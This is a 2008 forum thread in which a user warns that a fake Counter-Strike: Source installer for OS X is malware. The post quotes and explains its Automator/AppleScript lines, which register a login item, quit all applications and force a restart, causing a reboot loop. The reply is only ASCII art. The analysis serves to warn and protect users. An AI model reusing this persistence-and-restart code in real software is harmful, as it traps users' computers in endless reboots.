stroke Posted September 8, 2008 Share Posted September 8, 2008 Just for the curious, there was a post in the gaming section about a counter strike:source installer for OS X. People were complaining it threw them into a constant reboot cycle, and I can confirm it appears to be malware. It is actually a workflow application (Automator) and contains these lines: <string>tell application "System Events" to make new login item with properties {path:"/Applications/CStrike/Installer.app", hidden:false} at end</string> (Adds the application to the startup routine) <string>on run {input, parameters} (* Your script goes here *) return input end run</string> (The main routine of the automator app - you can see it wasn't even modified to do anything) <string>/System/Library/Automator/Quit All Applications.action</string> (An automator action that, obviously, quits all applications) <string>tell application "Finder" restart end tell </string> (Pretty obvious what this does) That's basically the bulk of user-edited code. The creator of this is very mediocre, at best, as he never took the quicklook preview out. (Found in Installer.app/Contents/QuickLook/Preview.pdf) This clearly shows ALL of the code involved in that application. Just thought I'd let everyone know (who may have tried it) what was up with it. The full workflow can be found here: http://pastie.org/private/sebupfuqxbpul6akdrvw Link to comment Share on other sites More sharing options...
asap18 Posted September 9, 2008 Share Posted September 9, 2008 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . _________ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ./ It’s a trap! . . . . . . . . . . . . . . . . _,,,--~~~~~~~~--,_ . . . . ._________/ . . . . . . . . . . . . . . ,-‘ : : : :::: :::: :: : : : : :º ‘-, . . /. . . . . . . . . . . . . . . . . . . . . . .,-‘ :: : : :::: :::: :::: :::: : : : ‘-, . . . . . . . . . . . . . . . . . . . . . ,-‘ :: ::: :: : : :: :::: :::: :: : : : : ‘-, . . . . . . . . . . . . . . . . . . .,-‘ : :: :: :: :: :: : : : : : , : : :º :::: :::: ::’; . . . . . . . . . . . . . . . . .,-‘ / / : :: :: :: :: : : :::: :::-, ;; ;; ;; ;; ;; ;; ; . . . . . . . . . . . . . . . . /,-‘,’ :: : : : : : : : : :: :: :: : ‘-, ;; ;; ;; ;; ;; ;;| . . . . . . . . . . . . . . /,’,-‘ :: :: :: :: :: :: :: : ::_,-~~,_’-, ;; ;; ;; ;; | . . . . . . . . . . . . _/ :,’ :/ :: :: :: : : :: :: _,-‘/ : ,-‘;’-‘’’’’~-, ;; ;; ;;,’ . . . . . . . . . . . ,-‘ / : : : : : : ,-‘’’ : : :,--‘’ | /,-‘-‘--‘’’__,’’’ ;; ;,-‘ . . . . . . . . . . . :/,, : : : _,-‘ --,,_ : : : ||/ /,-‘-‘x### :: ;;/ . . . . . . . . . . . . . . / /---‘’’’ : # : : : : : | | : (O##º : :/ /-‘’ . . . . . . . . . . . . . . . /,’____ : : ‘-# : , : : : : ‘-,___,-‘,-`-,, . . . . . . . . . . . . . . . ‘ ) : : : :’’’’--,,--,,,,,,¯ :: ::--,,_’’-,,’’’¯ :’- :’-, . . . . . . . . . . . . . .) : : : : : : ,, : ‘’’’~~~~’ :: :: :: :’’’’’¯ :: ,-‘ :,/ . . . . . . . . . . . . . .,/ /|\| | :/ / : : : : : : : ,’-, :: :: :: :: ::,--‘’ :,-‘ . . . . . . . . . . . . .\’|\ |/ ‘/ / :: :_--,, : , | )’; :: :: :: :,-‘’ : ,-‘ : : : , . . . . . . . . . . ./¯ | : |/ :: ::----, :/ :)/ :: :: ,-‘’ : :,-‘ : : : : : : ‘’-,,_ . . . . . . ..| : : :/ ‘’-(, :: :: :: ‘’’’’~,,,,,’’ :: ,-‘’ : :,-‘ : : : : : : : : :,-‘’’\ . . . . . ,-‘ : : : | : : ‘’) : : :¯’’’’~-,: : ,--‘’’ : :,-‘’ : : : : : : : : : ,-‘ :¯’’’’’-,_ . ./ : : : : :’-, :: | :: :: :: _,,-‘’’’¯ : ,--‘’ : : : : : : : : : : : / : : : : : : :’’-, / : : : : : -, :¯’’’’’’’’’’’¯ : : _,,-~’’ : : : : : : : : : : : : : : : : : : : : : : : : : : : : :¯’’~~~~~~’’’ : : : : : : : : : : : : : : : : : : | : : : : : : : : : Link to comment Share on other sites More sharing options...
Recommended Posts